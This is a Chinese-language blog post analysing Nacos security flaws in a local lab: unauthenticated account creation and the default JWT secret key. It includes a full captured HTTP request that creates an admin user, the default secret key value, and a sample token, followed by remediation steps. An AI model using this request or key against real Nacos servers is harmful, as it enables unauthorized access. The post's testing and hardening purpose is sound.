Hvv之Nacos漏洞分析与整改

目录

什么是nacos

漏洞复现过程

解压、修改配置文件、启动、

复现任意创建账户漏洞

问题分析

修改建议


什么是nacos

Nacos 是阿里巴巴推出来的一个新开源项目,这是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。

Hvv之Nacos漏洞分析与整改_第1张图片

 NACOS界面提示“内部系统、不可暴露到公网”个人也是建议第三方非系统程序、服务于系统程序的第三方软件建议部署在内网、不要暴露在公网上、避免安全事故发生。

漏洞复现过程

  • 下载地址一:nacos2.2.1windos版本

https://objects.githubusercontent.com/github-production-release-asset-2e65be/137451403/5c80d17e-e790-414e-9229-a621f088e262?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230818%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230818T132716Z&X-Amz-Expires=300&X-Amz-Signature=fc0dfecce40cb7055371adef9219f28cb2514890b51c505fb4be8bd3307cfd1e&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=137451403&response-content-disposition=attachment%3B%20filename%3Dnacos-server-2.1.2.zip&response-content-type=application%2Foctet-stream

  • 下载地址二:nacos2.2.3windows版本

https://objects.githubusercontent.com/github-production-release-asset-2e65be/137451403/6c4fd4b7-3b7b-43f4-ac30-228a6ce9e7c9?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230818%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230818T143618Z&X-Amz-Expires=300&X-Amz-Signature=6c4cc309aee5eb1c1aba2b6147643a00d4c2e15d16eb99ab103f39bb154ecb61&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=137451403&response-content-disposition=attachment%3B%20filename%3Dnacos-server-2.2.3.zip&response-content-type=application%2Foctet-stream

  • 下载地址三:nacos2.2.3linux版本

https://objects.githubusercontent.com/github-production-release-asset-2e65be/137451403/3c33d431-6d6e-4b76-a68a-63b054a11fe6?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230818%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230818T143621Z&X-Amz-Expires=300&X-Amz-Signature=f40bae01cb434457ecbe44fab4f25440245e8609fbd46619af4d4be7cdbbd1be&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=137451403&response-content-disposition=attachment%3B%20filename%3Dnacos-server-2.2.3.tar.gz&response-content-type=application%2Foctet-stream

  • 下载地址四其他版本地址

Releases · alibaba/nacos · GitHub

解压、修改配置文件、启动、

前置条件

1、检查系统是否安装jdk环境

2、记事本打开修改set MODE="standalone"为修改后的值保存退出

Hvv之Nacos漏洞分析与整改_第2张图片

3、启动

Hvv之Nacos漏洞分析与整改_第3张图片

 4、访问地址默认账户nacos 密码nacos

Hvv之Nacos漏洞分析与整改_第4张图片

 复现任意创建账户漏洞

首先界面添加添加一个nacos账户、抓包

Hvv之Nacos漏洞分析与整改_第5张图片

该接口是添加用户接口、发现接口参数包含accessToken用户认证票据、但是由于nacos我们没有开启鉴权模式、所以服务端不会对accessToken进行校验、从而导致此漏洞发生

POST /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5MjQyNjM2OX0.ExBjvC-4gayzUqIKcmr7vkFvva9Xph8P7JQTzxxpHyg HTTP/1.1
Host: 192.168.0.101:8848
Content-Length: 29
Accept: application/json, text/plain, */*
accessToken: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5MjQyNjM2OX0.ExBjvC-4gayzUqIKcmr7vkFvva9Xph8P7JQTzxxpHyg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.0.101:8848
Referer: http://192.168.0.101:8848/nacos/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=134904554562CED3B7C41F6D3E01CDA7
Connection: close

username=nacos2&password=1234

Hvv之Nacos漏洞分析与整改_第6张图片

Hvv之Nacos漏洞分析与整改_第7张图片

 或者使用postman

Hvv之Nacos漏洞分析与整改_第8张图片

 接口http://192.168.0.101:8848/nacos/v1/auth/users

 参数username=nacos3 password=1

 添加成功

 其他编辑用户、删除用户、查看用户接口不在演示

 问题分析

进入E:\nacos-server-2.2.3\nacos\conf 安装目录有个application.properties配置

问题一:认证鉴权配置 nacos.core.auth.enabled=false 关闭状态

Hvv之Nacos漏洞分析与整改_第9张图片

Hvv之Nacos漏洞分析与整改_第10张图片

 问题二:secret.key nacos<2.2.1版本密钥在配置文件存在默认值

nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

可以伪造Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5MjQyNjM2OX0.ExBjvC-4gayzUqIKcmr7vkFvva9Xph8P7JQTzxxpHyg

例如nacos输入用户和密码验证OK。服务端返回accessToken

Hvv之Nacos漏洞分析与整改_第11张图片

使用JWT在线反解、加密生成jtw token 

但是打开认证鉴权模式后,尝试使用JWT在线生成生成Authorization票据绕过认证创建账户、比较遗憾未复现出密钥固定值存在安全风险的漏洞

Hvv之Nacos漏洞分析与整改_第12张图片

 修改建议

1、认证鉴权配置

application.properties文件 nacos.core.auth.enabled=false 关闭状态修改为true

2、nacos.core.auth.plugin.nacos.token.secret.key naocs版本低于2.2.1修改默认值key

=SecretKey012345678901234567890123456789012345678901234567890123456789默认值及时修改

3、更新nacos版本至2.2.3版本或者版本、目前2.2.3版本

nacos.core.auth.plugin.nacos.token.secret.key=""已经被修改、key默认值为空了

今天就到这里把祝大家周末愉快!!!!

你可能感兴趣的:(web安全,安全)